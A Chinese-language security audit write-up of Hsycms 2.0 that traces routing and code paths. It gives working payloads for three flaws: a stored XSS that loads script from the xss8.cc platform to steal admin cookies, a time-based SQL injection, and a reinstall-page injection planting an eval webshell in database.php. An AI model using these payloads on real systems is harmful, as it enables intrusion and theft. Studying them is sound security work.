Hsycms2.0代码审计
目录结构
前台首页的模块在index里，index模块的控制器里存在以下文件
后台的模块在hsycms文件夹里，hsycms模块的控制器里存在以下文件
确定路由与过滤情况
1.确定网站的路由
（1）通过分析URL直接得出
（2）查看app/route.php
2.了解参数过滤情况
（1）原生GET、POST、REQUEST
（2）系统外部变量获取函数get()、post()、request()
1.比如如：
http://127.0.0.1/index.php/install/index/complete.html
解析：index.php是入口文件，install是app目录下的模块，index是controller（控制器）文件夹下的Index.php文件，complete.html是Index.php文件里的complete方法
1.（2）app.php内容如下
首先判断install.lock是否存在，存在进入if判断，接着查询nav表和cate表中的entitle列的所有内容，cate表同理
Route::rule('search','index/Search/index');这一句是定义路由规则，访问search，相当于访问index模块下Search控制器下的index方法
foreach循环将上图查询的所有结果的访问（同上一条路由定义语句）都相当于访问index模块下的Article控制器下的index方法
XSS与SQL注入
XSS漏洞
黑盒测试
在后台留言的地方尝试测试XSS，发送过去。
登陆后台在留言管理处成功弹窗
且是一个存储型XSS，检查元素也发现什么都没有过滤。
如果在实战中，无法登陆后台，可以通过盲打XSS进行，同时注意实战尽量不要使用alert进行弹窗，可以通过XSS平台进行对管理员Cookie的获取,XSS平台"https://xss8.cc/"
创建项目，配置代码选个默认的即可，当然该平台现已有很多功能，读者可自行选择
完成后项目会给出很多现成的payload，读者根据实际情况进行简单修改下即可。
这里选择第一个默认的，payload:
456<sCRiPt sRC=https://xss8.cc/8g4j>123</sCrIpT>发送过去后，回到平台创建的项目处即可查看到获取到的Cookie
但是这里我用获取到的cookie，利用Editthiscookie的插件进行替换，刷新后并没有登录进管理员后台。
白盒审计
首先对存在XSS漏洞的评论处抓个包
可以看到发包对后端的请求，经过路由的设置后是发向index模块下的Show控制器下的sendemail方法
看下这个方法，首先接受POST请求的值给$data数组，然后对该数组中的datatime参数设置一个时间戳的值，接下来将执行一段SQL语句select email_issend from site where id=1;
如果返回的结果为1，则执行sendmail函数发送邮件。如果提交有数据，则将数据插入到book表中，插入成功则返回留言成功。
这里就存在问题，插入的过程中没有经过任何过滤。
接着去后台的留言管理处抓下包，看下这部分的代码应该在什么位置，这里注意访问后台管理的留言页面抓包后，需要再放下包抓到的第二个包才是真正的请求内容
很明显是hsycms模块下的Site控制器下的book方法
补充：paginate(每页数量,是否简洁分页,分页参数)
this->assign('id',
所以这里值获取book表中数据以id字段为标准进行降序排列且每页只显示10组数据，同时定义两个模板变量："list"、"page" ，渲染的代码是在view模块、site文件夹下的book.html文件
这种写法就会取出定义的模板变量，然后我们就发现插入的时候没有对用户输入进行过滤，而取出内容输出的时候又没有进行过滤，所以很明显存在一个存储型XSS漏洞
SQL注入漏洞
一般流程：
1.在seay中开启查询日志
2.发现系统的输入点，尝试输入一些内容并执行
3.跟随输入信息，判断输入的内容是否被过滤，是否可利用
4.构造注入语句进行测试
输入点总结：
1）表单提交，主要是POST请求，也包括GET请求。
2）URL参数提交，主要为GET请求参数。
3）Cookie参数提交。
4）HITP请求头部的一些可修改的值，某些Referer.User Agent等。
5）一些边缘的输入点，可以jpg文件的一些文件信息等。
补充：Vscode审计插件"Intelephense"，安装方法
“https://www.cnblogs.com/-mrl/p/12214252.html”
首先查看下该cms对数据库的连接方法是什么，在libs->library->think->db->Query.php找到是以PDO的连接方式进行的，PDO详情参看“https://www.runoob.com/php/php-pdo.html”
这种方式可以很好的防范SQL注入，但是仍然也会有一些绕过方法。
测试
访问：http://192.168.12.106/product/123.html其中123可以任意修改，这个地方存在与数据库的交互情况，回忆之前的路由配置可以知道这里实际访问的时index模块下的Show控制器的index方法
$id=input('id')意思是获取用户的输入，(路由那里的:id),同时注意获取到的值是字符串类型。
再看第二条语句
这个数据库查询语句就不像普通的查询一样，id的值是分离的，所以并不能构成注入条件。接着再向下搜索。
发现这里也有一个调用$id的地方，但是经过了prevNext的函数，那么按【Ctrl】+【鼠标左键】跟踪该函数
可以看到这个函数的where处的id就没有分离了，id和$id都在一个双引号下。所以这里可以有个思路构造Payload：
payload:123) and sleep(1) and (1=1
因为这个是没有回显的，所以尝试利用时间盲注测试，
http://192.168.12.106/product/123) and sleep(1) and (1=1页面成功延迟了。剩下的就是SQL注入的知识了，在payload那里构造即可。
写配置文件GETSHELL
当删除app->common->install.lock文件后再访问首页就会首先跳转到安装页面，接下来看下安装界面的config代码
然后抓下包
可以知道这里传入的数据是数组形式，都会传给$db这个形参
接着下面将用户输入的值传递给session中的db_config，接着可以在下面的sql函数中看到调用了db_config
一路追踪又发现经过了write_config函数，追踪过去
从代码中知道$conf首先通过file_get_contents函数读取了安装的模板文件，然后通过用户的输入将用户输入的信息再写入到common/install.lock，将数据库配置信息写到database.php里。同时我们也发现用户的输入又没有经过任何过滤，先看下database.php代码
所以这就可以很轻松的getshell了，我们对host那么获取database等位置操作的时候闭合前面的单引号，注释后面，在中间写入一句话木马即可GETSHELL。
注：一般操控数据库名，因为这不会对数据库的连接产生太大影响
最终构造Payload：hsycms',@eval($_POST[1]),#
再次以上帝视角查看下database.php文件
一句话成功写入，成功GETSHELL。
而这样的漏洞也叫重装漏洞，如果还可以发现一个任意文件删除的漏洞，那可以将install.lock文件删掉进行重装GETSHELL。
通知！